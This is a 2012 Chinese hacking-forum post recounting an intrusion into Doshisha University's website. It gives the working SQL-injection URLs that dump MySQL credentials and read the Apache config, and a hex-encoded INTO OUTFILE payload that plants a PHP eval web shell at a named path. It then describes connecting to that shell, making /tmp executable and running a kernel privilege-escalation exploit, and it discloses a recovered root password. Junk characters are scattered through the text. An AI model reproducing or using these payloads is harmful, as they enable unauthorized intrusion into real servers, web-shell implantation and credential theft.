找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2495|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析+ s  G$ f$ K& [3 {5 W
; S% }' Y. B/ V# G
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
0 g* A' C3 I: e5 H0 q1 [# B然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
4 y* B3 H5 E6 O, j' P8 ?
/ u% \, K) P$ Zhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user, K, _) Y5 L3 c1 V5 v

2 j" h4 ?0 }& p  F+ P# ^' G+ i - W* G# y3 A! f" ]# u& [

3 _/ V8 }& f9 p5 U( q6 N//@@datadir为数据库文件路径 5 t0 U. k8 P: M% U$ L# D. m

, F4 _3 ~2 G7 g2 \; P4 u* H/ e: Q0 K/ k. y" ^4 X/ i* Z9 i! e8 `
//load_file读取网站容器apache的配置文件
# H) A8 O; Y8 ^% @
3 i* ?: M$ n5 W. C1 W4 ^/ X
" e# X- ^* o7 u" J$ q0 K//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 & m+ {( z8 c9 |8 w1 [
复制代码
1 x5 d. g% k  B& J: w! j0 z0 y
) p5 J3 p0 K; c9 P" Y3 F2 t1 Y1 u虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。( T( w$ t' C0 T6 E, k5 W
& U" H$ R  K. l- @# E
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。5 |# e! K9 y  C! s& z
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)' H+ D& {5 Q  _& T* s1 I9 [/ P# P

! A! ^9 S$ W4 f前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。; {. B4 R' D. a# x
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html3 E4 q2 l4 [. j* h
* J4 M; W1 p( }
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
5 o+ _& c: E" J  k: c3 ^虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
  h& X8 Z9 N: E2 r. ^: I直接写一句话:
9 s" I9 J9 O6 m8 U, x; L" ?  o0 U# u! Y7 }" ]9 Y
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#1 H% q2 e) b% o  f- j
" H( P7 }& l) g8 u+ v

7 U- m- t) B7 z( P" `' h4 r* K1 Q9 i6 H: X: |8 t" K+ b
//最后的#是为了闭合前面的语句
) J& }! K( u" I
! t5 f* l1 d* G4 |
6 T6 w' V# O" T) M, B  A3 L5 |' Y/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
& r0 v# \" K: X$ y& X1 U
. b7 U0 O/ h' F$ L
# L% N' |0 K+ e4 L& [为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ $ A* T/ J! N6 a3 C! m

" E+ n( H. b, O9 D4 d& Z# H5 V( k  b) V- M9 T0 C" M
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 % P5 [( c4 \" u5 K! S% }
9 `8 L  C+ z  Q

9 n/ ~5 ^# i  A//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 0 a) @$ p& Q/ p8 R7 E8 y0 o" ]
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ' e4 p4 w, R% u/ @3 V
复制代码7 {# |' n6 x2 e

4 |0 C3 P& A' m# H9 [) aHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
* s( U* m- F3 m5 _+ G8 b通过上述注入语句,我们就得到了一句话木马:
) q. k- I* O8 B: i: [; }! q
% u( B7 v/ s# a% K$ x! I
4 a7 X5 Q1 B' h/ k3 X2 g" U( k, @& A8 k' Q9 E' p
4 T7 d- |+ P9 e! Z
3 ]" F  B7 z' F' \# n/ n
http://www.doshisha.ac.jp/english/engnews_img/aa.php
  T- Z/ G: m4 N6 Z& o复制代码
2 ]: K' k0 D) g6 E
/ r% {! J% M) F/ g( l用菜刀连接,密码是cmd,如图所示:
6 z) U% Z1 g2 b7 r! j然后在命令提示行里看了一下,现在的权限是:* F  C% X  _: S( _: Q( |3 V

  m/ j3 }) Q7 }7 G8 ]! L之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
9 @, h: X, G0 K9 b; {6 b5 r9 A$ A, V好在赋权给这个文件夹不需要root,直接执行赋权语句:3 \8 A  O) k& t" L5 m
" F1 Y7 D2 f. l) J, ^0 U! L1 _; C

9 n& O% g% t+ Q: S! L  c
: k! Z* P. D+ s! o5 D9 c
* B  j& B3 s" z; f4 O/ y/ Y# G4 h6 e3 X' Z3 X* j
chmod +x /tmp/ : \$ a* h7 `: r5 f. I; {) a/ U
复制代码
! ^# h/ W7 K) B3 F7 F; A( r1 L- G& S0 Q: M, a
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
  }0 N. s" e$ H  L& d: b然后就查了一下内核版本:& s3 K% q' k* f, B0 x3 B8 d

3 P+ L5 Q- Z" K) x
+ C' I8 ~/ B  O# b
9 \5 J3 C9 `( _7 h% ~
* D  L  J. h* i5 X0 [5 @8 M" [4 Z
uname-a
  v5 e' a* c$ ~3 U4 R# l   R- F- P- k* d% a

" \1 c, U6 @* L# r7 s//其实lsb_release -a
9 d7 U# @8 l; H# I3 S/ @  z0 [复制代码8 t% Y, U6 h1 [8 ]; P) z
1 P8 x$ x2 R0 ~  M: f% e& r
如图所示:; F9 p4 V3 g1 g+ c
1 {# {2 j9 w' h6 V2 M  V# k% V
内核版本:linux mainz1 2.6.28-194.e154 q7 d! \; h: ~* j! \. p
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)8 |) h, Z8 I( A) f) e' j3 K
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
8 m( ^" Z$ a' s* Q: W1 P  f$ w1 [: e/ a) ^/ G6 m
然后给予执行权限
' Q; k/ T) U6 v+ s一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
' m2 S- [9 m% i5 g- J
. y2 {4 j/ L( n; w0 O' C9 e6 r , ]0 X- k$ D: F# }  B1 z& G, Q4 d8 L

  n7 L! L6 R7 V& P3 W3 M9 W" e
+ A: H' W+ O4 ]/ |/ M/ m* m$ Y; f) C
chmod +x /tmp/2.6.18-194
+ B  l! Q1 x1 p& N复制代码 然后直接执行!~, H$ f2 l9 y/ E/ O( \+ T% q

3 ]& w' W* b3 N  H: H' l* }总结:
! j8 T3 v' S" a1 S& K% N这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了7 Y% }# M6 D8 E  w; |" x
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
0 H3 `; y& u# c: k
" G  G0 O& }8 w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表